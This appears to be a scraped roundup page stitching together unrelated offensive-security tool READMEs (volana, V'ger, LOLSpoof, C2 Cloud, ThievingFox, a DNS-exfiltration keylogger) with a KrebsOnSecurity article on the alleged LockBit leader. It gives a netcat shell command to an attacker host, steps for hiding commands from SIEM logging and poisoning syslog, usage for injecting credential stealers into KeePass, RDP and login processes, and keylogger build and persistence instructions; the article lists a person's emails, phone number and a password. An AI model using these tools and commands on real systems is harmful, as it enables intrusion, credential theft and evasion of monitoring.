Login
During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
FreshRSS ## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console
Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.
On attacker machine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copy encrypted command and executed it with your rce on target machine
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash
Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc..)pkill -9 script
screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)volana with encryption /var/log/auth.log)sudo or su commandslogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD injection to make logSorry for the clickbait title, but no money will be provided for contibutors. 🐛
Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system
V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.
pip install vgervger --helpCurrently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.
Once a connection is established, users drop into a nested set of menus.
The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.
These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.
With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.
There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").
Last week, the United States joined the U.K. and Australia in sanctioning and charging a Russian man named Dmitry Yuryevich Khoroshev as the leader of the infamous LockBit ransomware group. LockBit’s leader “LockBitSupp” claims the feds named the wrong guy, saying the charges don’t explain how they connected him to Khoroshev. This post examines the activities of Khoroshev’s many alter egos on the cybercrime forums, and tracks the career of a gifted malware author who has written and sold malicious code for the past 14 years.
Dmitry Yuryevich Khoroshev. Image: treasury.gov.
On May 7, the U.S. Department of Justice indicted Khoroshev on 26 criminal counts, including extortion, wire fraud, and conspiracy. The government alleges Khoroshev created, sold and used the LockBit ransomware strain to personally extort more than $100 million from hundreds of victim organizations, and that LockBit as a group extorted roughly half a billion dollars over four years.
Federal investigators say Khoroshev ran LockBit as a “ransomware-as-a-service” operation, wherein he kept 20 percent of any ransom amount paid by a victim organization infected with his code, with the remaining 80 percent of the payment going to LockBit affiliates responsible for spreading the malware.
Financial sanctions levied against Khoroshev by the U.S. Department of the Treasury listed his known email and street address (in Voronezh, in southwest Russia), passport number, and even his tax ID number (hello, Russian tax authorities). The Treasury filing says Khoroshev used the emails sitedev5@yandex.ru, and khoroshev1@icloud.com.
According to DomainTools.com, the address sitedev5@yandex.ru was used to register at least six domains, including a Russian business registered in Khoroshev’s name called tkaner.com, which is a blog about clothing and fabrics.
A search at the breach-tracking service Constella Intelligence on the phone number in Tkaner’s registration records — 7.9521020220 — brings up multiple official Russian government documents listing the number’s owner as Dmitri Yurievich Khoroshev.
Another domain registered to that phone number was stairwell[.]ru, which at one point advertised the sale of wooden staircases. Constella finds that the email addresses webmaster@stairwell.ru and admin@stairwell.ru used the password 225948.
DomainTools reports that stairwell.ru for several years included the registrant’s name as “Dmitrij Ju Horoshev,” and the email address pin@darktower.su. According to Constella, this email address was used in 2010 to register an account for a Dmitry Yurievich Khoroshev from Voronezh, Russia at the hosting provider firstvds.ru.
Image: Shutterstock.
Cyber intelligence firm Intel 471 finds that pin@darktower.ru was used by a Russian-speaking member called Pin on the English-language cybercrime forum Opensc. Pin was active on Opensc around March 2012, and authored 13 posts that mostly concerned data encryption issues, or how to fix bugs in code.
Other posts concerned custom code Pin claimed to have written that would bypass memory protections on Windows XP and Windows 7 systems, and inject malware into memory space normally allocated to trusted applications on a Windows machine.
Pin also was active at that same time on the Russian-language security forum Antichat, where they told fellow forum members to contact them at the ICQ instant messenger number 669316.
A search on the ICQ number 669316 at Intel 471 shows that in April 2011, a user by the name NeroWolfe joined the Russian cybercrime forum Zloy using the email address d.horoshev@gmail.com, and from an Internet address in Voronezh, RU.
Constella finds the same password tied to webmaster@stairwell.ru (225948) was used by the email address 3k@xakep.ru, which Intel 471 says was registered to more than a dozen NeroWolfe accounts across just as many Russian cybercrime forums between 2011 and 2015.
NeroWolfe’s introductory post to the forum Verified in Oct. 2011 said he was a system administrator and C++ coder.
“Installing SpyEYE, ZeuS, any DDoS and spam admin panels,” NeroWolfe wrote. This user said they specialize in developing malware, creating computer worms, and crafting new ways to hijack Web browsers.
“I can provide my portfolio on request,” NeroWolfe wrote. “P.S. I don’t modify someone else’s code or work with someone else’s frameworks.”
In April 2013, NeroWolfe wrote in a private message to another Verified forum user that he was selling a malware “loader” program that could bypass all of the security protections on Windows XP and Windows 7.
“The access to the network is slightly restricted,” NeroWolfe said of the loader, which he was selling for $5,000. “You won’t manage to bind a port. However, it’s quite possible to send data. The code is written in C.”
In an October 2013 discussion on the cybercrime forum Exploit, NeroWolfe weighed in on the karmic ramifications of ransomware. At the time, ransomware-as-a-service didn’t exist yet, and many members of Exploit were still making good money from “lockers,” relatively crude programs that locked the user out of their system until they agreed to make a small payment (usually a few hundred dollars via prepaid Green Dot cards).
Lockers, which presaged the coming ransomware scourge, were generally viewed by the Russian-speaking cybercrime forums as harmless moneymaking opportunities, because they usually didn’t seek to harm the host computer or endanger files on the system. Also, there were still plenty of locker programs that aspiring cybercriminals could either buy or rent to make a steady income.
NeroWolfe reminded forum denizens that they were just as vulnerable to ransomware attacks as their would-be victims, and that what goes around comes around.
“Guys, do you have a conscience?,” NeroWolfe wrote. “Okay, lockers, network gopstop aka business in Russian. The last thing was always squeezed out of the suckers. But encoders, no one is protected from them, including the local audience.”
If Khoroshev was ever worried that someone outside of Russia might be able to connect his early hacker handles to his real life persona, that’s not clear from reviewing his history online. In fact, the same email address tied to so many of NeroWolfe’s accounts on the forums — 3k@xakep.ru — was used in 2011 to create an account for a Dmitry Yurevich Khoroshev on the Russian social media network Vkontakte.
NeroWolfe seems to have abandoned all of his forum accounts sometime in 2016. In November 2016, an exploit[.]ru member filed an official complaint against NeroWolfe, saying NeroWolfe had been paid $2,000 to produce custom code but never finished the project and vanished.
It’s unclear what happened to NeroWolfe or to Khoroshev during this time. Maybe he got arrested, or some close associates did. Perhaps he just decided it was time to lay low and hit the reset on his operational security efforts, given his past failures in this regard. It’s also possible NeroWolfe landed a real job somewhere for a few years, fathered a child, and/or had to put his cybercrime career on hold.
Or perhaps Khoroshev saw the coming ransomware industry for the endless pot of gold that it was about to become, and then dedicated himself to working on custom ransomware code. That’s what the government believes.
The indictment against Khoroshev says he used the hacker nickname Putinkrab, and Intel 471 says this corresponds to a username that was first registered across three major Russian cybercrime forums in early 2019.
KrebsOnSecurity could find no obvious connections between Putinkrab and any of Khoroshev’s older identities. However, if Putinkrab was Khoroshev, he would have learned from his past mistakes and started fresh with a new identity (which he did). But also, it is likely the government hasn’t shared all of the intelligence it has collected against him (more on that in a bit).
Putinkrab’s first posts on the Russian cybercrime forums XSS, Exploit and UFOLabs saw this user selling ransomware source code written in C.
A machine-translated ad for ransomware source code from Putinkrab on the Russian language cybercrime forum UFOlabs in 2019. Image: Ke-la.com.
In April 2019, Putkinkrab offered an affiliate program that would run on top of his custom-made ransomware code.
“I want to work for a share of the ransoms: 20/80,” Putinkrab wrote on Exploit. “20 percent is my percentage for the work, you get 80% of the ransoms. The percentage can be reduced up to 10/90 if the volumes are good. But now, temporarily, until the service is fully automated, we are working using a different algorithm.”
Throughout the summer of 2019, Putinkrab posted multiple updates to Exploit about new features being added to his ransomware strain, as well as novel evasion techniques to avoid detection by security tools. He also told forum members he was looking for investors for a new ransomware project based on his code.
In response to an Exploit member who complained that the security industry was making it harder to profit from ransomware, Putinkrab said that was because so many cybercriminals were relying on crappy ransomware code.
“The vast majority of top antiviruses have acquired behavioral analysis, which blocks 95% of crypto-lockers at their root,” Putinkrab wrote. “Cryptolockers made a lot of noise in the press, but lazy system administrators don’t make backups after that. The vast majority of cryptolockers are written by people who have little understanding of cryptography. Therefore, decryptors appear on the Internet, and with them the hope that files can be decrypted without paying a ransom. They just sit and wait. Contact with the owner of the key is lost over time.”
Putinkrab said he had every confidence his ransomware code was a game-changer, and a huge money machine.
“The game is just gaining momentum,” Putinkrab wrote. “Weak players lose and are eliminated.”
The rest of his response was structured like a poem:
“In this world, the strongest survive.
Our life is just a struggle.
The winner will be the smartest,
Who has his head on his shoulders.”
Putinkrab’s final post came on August 23, 2019. The Justice Department says the LockBit ransomware affiliate program was officially launched five months later. From there on out, the government says, Khoroshev adopted the persona of LockBitSupp. In his introductory post on Exploit, LockBit’s mastermind said the ransomware strain had been in development since September 2019.
The original LockBit malware was written in C (a language that NeroWolfe excelled at). Here’s the original description of LockBit, from its maker:
“The software is written in C and Assembler; encryption is performed through the I/O Completion Port; there is a port scanning local networks and an option to find all DFS, SMB, WebDAV network shares, an admin panel in Tor, automatic test decryption; a decryption tool is provided; there is a chat with Push notifications, a Jabber bot that forwards correspondence and an option to terminate services/processes in line which prevent the ransomware from opening files at a certain moment. The ransomware sets file permissions and removes blocking attributes, deletes shadow copies, clears logs and mounts hidden partitions; there is an option to drag-and-drop files/folders and a console/hidden mode. The ransomware encrypts files in parts in various places: the larger the file size, the more parts there are. The algorithms used are AES + RSA.
You are the one who determines the ransom amount after communicating with the victim. The ransom paid in any currency that suits you will be transferred to your wallets. The Jabber bot serves as an admin panel and is used for banning, providing decryption tools, chatting – Jabber is used for absolutely everything.”
Does the above timeline prove that NeroWolfe/Khoroshev is LockBitSupp? No. However, it does indicate Khoroshev was for many years deeply invested in countless schemes involving botnets, stolen data, and malware he wrote that others used to great effect. NeroWolfe’s many private messages from fellow forum members confirm this.
NeroWolfe’s specialty was creating custom code that employed novel stealth and evasion techniques, and he was always quick to volunteer his services on the forums whenever anyone was looking help on a malware project that called for a strong C or C++ programmer.
Someone with those qualifications — as well as demonstrated mastery of data encryption and decryption techniques — would have been in great demand by the ransomware-as-a-service industry that took off at around the same time NeroWolfe vanished from the forums.
Someone like that who is near or at the top of their game vis-a-vis their peers does not simply walk away from that level of influence, community status, and potential income stream unless forced to do so by circumstances beyond their immediate control.
It’s important to note that Putinkrab didn’t just materialize out of thin air in 2019 — suddenly endowed with knowledge about how to write advanced, stealthy ransomware strains. That knowledge clearly came from someone who’d already had years of experience building and deploying ransomware strains against real-life victim organizations.
Thus, whoever Putinkrab was before they adopted that moniker, it’s a safe bet they were involved in the development and use of earlier, highly successful ransomware strains. One strong possible candidate is Cerber ransomware, the most popular and effective affiliate program operating between early 2016 and mid-2017. Cerber thrived because it emerged as an early mover in the market for ransomware-as-a-service offerings.
In February 2024, the FBI seized LockBit’s cybercrime infrastructure on the dark web, following an apparently lengthy infiltration of the group’s operations. The United States has already indicted and sanctioned at least five other alleged LockBit ringleaders or affiliates, so presumably the feds have been able to draw additional resources from those investigations.
Also, it seems likely that the three national intelligence agencies involved in bringing these charges are not showing all of their cards. For example, the Treasury documents on Khoroshev mention a single cryptocurrency address, and yet experts interviewed for this story say there are no obvious clues connecting this address to Khoroshev or Putinkrab.
But given that LockBitSupp has been actively involved in Lockbit ransomware attacks against organizations for four years now, the government almost certainly has an extensive list of the LockBit leader’s various cryptocurrency addresses — and probably even his bank accounts in Russia. And no doubt the money trail from some of those transactions was traceable to its ultimate beneficiary (or close enough).
Not long after Khoroshev was charged as the leader of LockBit, a number of open-source intelligence accounts on Telegram began extending the information released by the Treasury Department. Within hours, these sleuths had unearthed more than a dozen credit card accounts used by Khoroshev over the past decade, as well as his various bank account numbers in Russia.
The point is, this post is based on data that’s available to and verifiable by KrebsOnSecurity. Woodward & Bernstein’s source in the Watergate investigation — Deep Throat — famously told the two reporters to “follow the money.” This is always excellent advice. But these days, that can be a lot easier said than done — especially with people who a) do not wish to be found, and b) don’t exactly file annual reports.
Article tags
LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
lolbin.exe " " * sizeof(real arguments)
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.
C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.
Reverse shells support:
C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk
🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.
🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.
Reverse TCP port: 8888
Clone the repo
Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.
Distributed under the MIT License. See LICENSE for more information.
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
The accompanying blog post can be found here
Rustup must be installed, follow the instructions available here : https://rustup.rs/
The mingw-w64 package must be installed. On Debian, this can be done using :
apt install mingw-w64
Both x86 and x86_64 windows targets must be installed for Rust:
rustup target add x86_64-pc-windows-gnu
rustup target add i686-pc-windows-gnu
Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin
After adding Mono repositories, Nuget can be installed using apt :
apt install nuget
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11.
Rustup must be installed, follow the instructions available here : https://rustup.rs/
Both x86 and x86_64 windows targets must be installed for Rust:
rustup target add x86_64-pc-windows-msvc
rustup target add i686-pc-windows-msvc
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
All modules have been tested on the following Windows versions :
| Windows Version |
|---|
| Windows Server 2022 |
| Windows Server 2019 |
| Windows Server 2016 |
| Windows Server 2012R2 |
| Windows 10 |
| Windows 11 |
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
| Application | Injection Method |
|---|---|
| KeePass.exe | AppDomainManager Injection |
| KeePassXC.exe | DLL Proxying |
| LogonUI.exe (Windows Login Screen) | COM Hijacking |
| consent.exe (Windows UAC Popup) | COM Hijacking |
| mstsc.exe (Windows default RDP client) | COM Hijacking |
| RDCMan.exe (Sysinternals' RDP client) | COM Hijacking |
| MobaXTerm.exe (3rd party RDP client) | COM Hijacking |
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the
cleanupmodule on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the
--tempdirparameter, since the directory name is embedded inside native DLLs.
$ python3 client/ThievingFox.py poison -h
usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
[--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
[--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to poison KeePass.exe
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepassxc Try to poison KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--ke epassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to poison mstsc.exe
--mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
logged in (Default: False)
--consent Try to poison Consent.exe
--logonui Try to poison LogonUI.exe
--rdcman Try to poison RDCMan.exe
--rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
logged in (Default: False)
--mobaxterm Try to poison MobaXTerm.exe
--mobaxterm-poison-hkcr
Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
logged in (Default: False)
--all Try to poison all applications
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the
cleanupmodule is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, thecleanupmodule will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted byThievingFoxare logged.
$ python3 client/ThievingFox.py cleanup -h
usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
[--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
[--rdcman] [--mobaxterm] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to cleanup all poisonning artifacts related to KeePass.exe
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--keepassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to cleanup all poisonning artifacts related to mstsc.exe
--consent Try to cleanup all poisonning artifacts related to Consent.exe
--logonui Try to cleanup all poisonning artifacts related to LogonUI.exe
--rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe
--mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe
--all Try to cleanup all poisonning artifacts related to all applications
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
$ python3 client/ThievingFox.py collect -h
usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
[--logonui] [--rdcman] [--mobaxterm] [--all]
target
positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of th e domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Collect KeePass.exe logs
--keepassxc Collect KeePassXC.exe logs
--mstsc Collect mstsc.exe logs
--consent Collect Consent.exe logs
--logonui Collect LogonUI.exe logs
--rdcman Collect RDCMan.exe logs
--mobaxterm Collect MobaXTerm.exe logs
--all Collect logs from all applications
SiCat is an advanced exploit search tool designed to identify and gather information about exploits from both open sources and local repositories effectively. With a focus on cybersecurity, SiCat allows users to quickly search online, finding potential vulnerabilities and relevant exploits for ongoing projects or systems.
SiCat's main strength lies in its ability to traverse both online and local resources to collect information about relevant exploitations. This tool aids cybersecurity professionals and researchers in understanding potential security risks, providing valuable insights to enhance system security.
git clone https://github.com/justakazh/sicat.git && cd sicat
pip install -r requirements.txt
~$ python sicat.py --help
| Command | Description |
|---|---|
-h | Show help message and exit |
-k KEYWORD | |
-kv KEYWORK_VERSION | |
-nm | Identify via nmap output |
--nvd | Use NVD as info source |
--packetstorm | Use PacketStorm as info source |
--exploitdb | Use ExploitDB as info source |
--exploitalert | Use ExploitAlert as info source |
--msfmoduke | Use metasploit as info source |
-o OUTPUT | Path to save output to |
-ot OUTPUT_TYPE | Output file type: json or html |
From keyword
python sicat.py -k telerik --exploitdb --msfmodule
From nmap output
nmap --open -sV localhost -oX nmap_out.xml
python sicat.py -nm nmap_out.xml --packetstorm
I'm aware that perfection is elusive in coding. If you come across any bugs, feel free to contribute by fixing the code or suggesting new features. Your input is always welcomed and valued.
This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
